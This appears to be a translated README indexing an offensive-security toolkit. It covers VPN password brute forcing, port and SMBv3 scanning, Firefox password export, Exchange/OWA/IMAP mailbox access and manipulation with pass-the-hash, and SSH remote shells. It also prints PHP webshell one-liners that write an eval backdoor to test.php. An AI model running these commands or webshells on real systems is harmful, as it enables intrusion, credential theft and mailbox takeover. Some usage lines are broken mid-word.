3gstudent/homework-of-pythonCodes Python de mon blog.
Codes Python de mon blog.
Utilise une attaque par force brute pour obtenir le mot de passe du VPN PPTP.
Il lit les mots de passe contenus dans le fichier (nommé wordlist) puis utilise pptpsetup pour se connecter au serveur.
L'intervalle de temps est de 10 secondes.
Permet de scanner les ports.
Le délai d'expiration (timeout) est de 3 secondes.
Version C++ :
https://github.com/3gstudent/Homework-of-C-Language/blob/master/portscan.cpp
Permet d'obtenir l'adresse IP à partir de l'URL.
Je peux utiliser directement le résultat de Sublist3r.
Permet de supprimer les adresses IP en double du résultat de Sublist3r.
Je peux utiliser directement le résultat de urltoip.py.
Les adresses IP peuvent être triées à l'aide de Sublime (F9).
Permet de supprimer les éléments en double d'un fichier.
Référence :
https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
Permet d'appeler l'API de fofa et d'afficher les adresses IP des résultats.
Vous pouvez obtenir 100 résultats.
Permet d'appeler l'API de fofa et d'afficher les adresses IP des résultats.
Si vous êtes VIP, vous obtiendrez 10 000 résultats.
Référence :
https://seclists.org/fulldisclosure/2019/Sep/31
Ex. :
echo \<?php @eval\(\$_POST[pwd]\)\;?\> >test.php
Référence :
https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w
Ex. :
system('cmd /c "echo ^<?php @eval(^$_POST[pwd]);?^> >D:\phpstudy\WWW\test.php"');
Permet d'exporter les mots de passe de Firefox.
Permet d'obtenir la version d'Exchange.
Obtenez d'abord le BuildNumber à partir du code source de l'URL, puis la version.
Référence :
Permet de scanner la vulnérabilité RCE SMBv3.
Le délai d'expiration (timeout) est de 3 secondes.
Référence :
https://github.com/imjdl/CVE-2020-8515-PoC
CVE-2020-8515
Les appareils DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta et Vigor300B 1.3.3_Beta, 1.4.2.1_Beta et 1.4.4_Beta permettent l'exécution de code à distance en tant que root (sans authentification) via des métacaractères shell dans l'URI cgi-bin/mainfunction.cgi..
Produits concernés :
Utilise l'API SOAP de Zimbra pour se connecter au serveur de messagerie Zimbra.
Utilisation :
Zimbra_SOAP_API.py <url> <username> <password> <mode>
mode :
Ex. :
Zimbra_SOAP_API.py https://192.168.1.1 [email protected] password low
Permet de vérifier la validité d'un compte Exchange Web Service (prend en charge le texte en clair et ntlmhash).
Référence : https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
Utilisation :
checkEWS.py <host> <port> <mode> <domain> <user> <password>
<mode>:
- plaintext
- ntlmhash
Ex. :
checkEWS.py 192.168.1.1 443 plaintext test.com user1 password1
checkEWS.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1
Permet d'accéder à Autodiscover.xml et d'obtenir la configuration de l'utilisateur (prend en charge le texte en clair et ntlmhash).
Utilisation :
checkAutodiscover.py <host> <port> <mode> <email> <password> <command>
<command>:
- checkautodiscover
- getusersetting
- checkoab
- downloadlzx
Ex. :
checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] password1 checkaut
odiscover
checkAutodiscover.py test.com 80 ntlmhash [email protected] c5a237b7e9d8e708d8436b6
148a25fa1 getusersetting
Mode supplémentaire de checkAutodiscover.py
Ajoute un paramètre
Permet d'accéder à Exchange Web Service (prend en charge le texte en clair et ntlmhash).
Utilisation :
ewsManage.py <host> <port> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
<command>:
- getfolderofinbox
- getfolderofsentitems
- listmailofinbox
- listmailofsentitems
- listmailoffolder
- getmail
- deletemail
- deletefolder
- getattachment
- saveattachment
- getdelegateofinbox
- adddelegateofinbox
- updatedelegateofinbox
- removedelegateofinbox
- getdelegateofinbox2
- updatedelegateofinbox2
- restoredelegateofinbox2
- getinboxrules
- updateinboxrules
- removeinboxrules
- deleteattachment
- createattachment
- createfolderofinbox
- listhiddenfolderofinbox
- createtestmail
- SetHiddenPropertyType
- UpdateHiddenPropertyType
- getcontact
- findpeople
- findallpeople
- resolvename
- resolveallname
Ex. :
ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getfolderofinbox
ewsManage.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1 listmailofinbox
Permet de vérifier la validité des identifiants SSH (prend en charge le mot de passe et le fichier de clé privée).
Utilisation :
sshCheck.py <host> <port> <mode><user> <password>
<mode>:
- plaintext
- keyfile
Ex. :
sshCheck.py 192.168.1.1 22 plaintext root toor
sshCheck.py 192.168.1.1 22 keyfile root id_rsa
Exécution de commandes à distance via SSH (prend en charge le mot de passe et le fichier de clé privée).
Utilisation :
sshRunCmd.py <host> <port> <mode><user> <password> <cmd>
<mode>:
- plaintext
- keyfile
If the <cmd> is shell,you will get an interactive shell
Ex. :
sshRunCmd.py 192.168.1.1 22 plaintext root toor shell
sshRunCmd.py 192.168.1.1 22 keyfile root id_rsa ps
Permet de vérifier la validité des identifiants de eas (Exchange Server ActiveSync).
Utilisation :
easCheck.py <host> <user> <password>
Ex. :
easCheck.py 192.168.1.1 user1 password1
Permet de vérifier la validité d'un compte Exchange en se connectant à OWA.
Utilisation :
checkOWA.py <url> <user> <password>
Permet de lire les e-mails en se connectant à OWA.
Utilisation :
owaManage.py <url> <user> <password> <command>
<command>
- ListFolder
- ViewMail
- DownloadAttachment
Utilise IMAP pour se connecter au serveur de messagerie.
Utilisation :
imapManage.py <IMAP server> <username> <password> <command>
<command>:
CheckConfig get the folder name
SaveAttachOfInbox save the attachments of Inbox
SaveAttachOfSent save the attachments of Sent
DownloadAllMailOfInbox download all the mails of Inbox
DownloadAllMailOfSent download all the mails of Sent
Eg:
imapManage.py 192.168.1.1 user1 password CheckConfig
Permet d'implémenter l'authentification NTLM et de communiquer avec execCmd.aspx.
Les données de communication sont encodées en Base64.
Utilisation :
aspxCmdNTLM.py <host> <port> <url> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
Eg.
aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/1.txt plaintext test.com user
1 password1 whoami
aspxCmdNTLM.py test.com 80 http://192.168.1.1/1.aspx ntlmhash test.com user1 c5a
237b7e9d8e708d8436b6148a25fa1 whoami